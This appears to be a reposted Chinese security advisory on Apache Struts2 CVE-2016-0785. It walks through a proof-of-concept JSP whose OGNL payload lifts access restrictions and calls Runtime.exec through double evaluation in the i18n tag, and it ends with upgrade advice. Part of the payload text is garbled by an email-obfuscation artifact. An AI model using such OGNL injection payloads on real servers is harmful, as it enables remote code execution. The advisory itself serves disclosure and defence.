例如:
<p>parameters: <s:property value="#parameters.msg" /></p>
String name = findString(this.name, “name”, “Resource bundle name is required. Example: foo or foo_en”);
ResourceBundle bundle = (ResourceBundle)findValue(“getTexts(‘” + name + “‘)”);
<%@page import="java.util.HashSet"%> <%@ page contentType=”text/html;charset=UTF-8″ language=”java” %> <%@ taglib prefix=”s” uri=”/struts-tags” %> <html> <head><title>Demo jsp page</title></head> <body> <% request.setAttribute(“lan”, “‘),#_memberAccess[‘allowPrivateAccess’]=true,#_memberAccess[‘allowProtectedAccess’]=true,#_memberAccess[‘allowPackageProtectedAccess’]=true,#_memberAccess[‘allowStaticMethodAccess’]=true,#_memberAccess[‘excludedPackageNamePatterns’]=#_memberAccess[‘acceptProperties’],#_memberAccess[‘excludedClasses’]=#_memberAccess[‘acceptProperties’],#[email protected]@getRuntime(),#a.exec(‘touch /tmp/fuckxxx’),new java.lang.String(‘”); %> <s:i18n name=”%{#request.lan}”>xxxxx</s:i18n> </body> </html>
在此 POC 中可以看到,request 的 lan 属性被设置为:
整段代码的关键部分在于最后一行:
<s:i18n name=”%{#request.lan}”>xxxxx</s:i18n>。
在 i18n 标签中的 name 值会经过两次 OGNL 计算,从而导致远程代码执行。
‘),request,#_memberAccess[‘allowPrivateAccess’]=true,#_memberAccess[‘allowProtectedAccess’]=true,#_memberAccess[‘allowPackageProtectedAccess’]=true,#_memberAccess[‘allowStaticMethodAccess’]=true,#_memberAccess[‘excludedPackageNamePatterns’]=#_memberAccess[‘acceptProperties’],#_memberAccess[‘excludedClasses’]=#_memberAccess[‘acceptProperties’],#[email protected]@getRuntime(),#a.exec(‘touch /tmp/dbapptest’),new java.lang.String(‘
执行完成之后将结果赋值给 name, name值为:
‘),request,#_memberAccess[‘allowPrivateAccess’]=true,#_memberAccess[‘allowProtectedAccess’]=true,#_memberAccess[‘allowPackageProtectedAccess’]=true,#_memberAccess[‘allowStaticMethodAccess’]=true,#_memberAccess[‘excludedPackageNamePatterns’]=#_memberAccess[‘acceptProperties’],#_memberAccess[‘excludedClasses’]=#_memberAccess[‘acceptProperties’],#[email protected]@getRuntime(),#a.exec(‘touch /tmp/dbapptest’),new java.lang.String(‘
然后将 name 值进行第二次 OGNL 计算,其中 ognl 表达式变为
getText(”),request,#_memberAccess[‘allowPrivateAccess’]=true,#_memberAccess[‘allowProtectedAccess’]=true,#_memberAccess[‘allowPackageProtectedAccess’]=true,#_memberAccess[‘allowStaticMethodAccess’]=true,#_memberAccess[‘excludedPackageNamePatterns’]=#_memberAccess[‘acceptProperties’],#_memberAccess[‘excludedClasses’]=#_memberAccess[‘acceptProperties’],#[email protected]@getRuntime(),#a.exec(‘touch /tmp/dbapptest’),new java.lang.String(”)
从而导致命令执行,在 /tmp 目录下生成 dbapptest 文件
2、建议用户将 Struts 升级至 2.3.26 版本。
原文始发于微信公众号(深信服千里目安全实验室):Apache Struts2 再曝高危漏洞(CVE-2016-0785)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论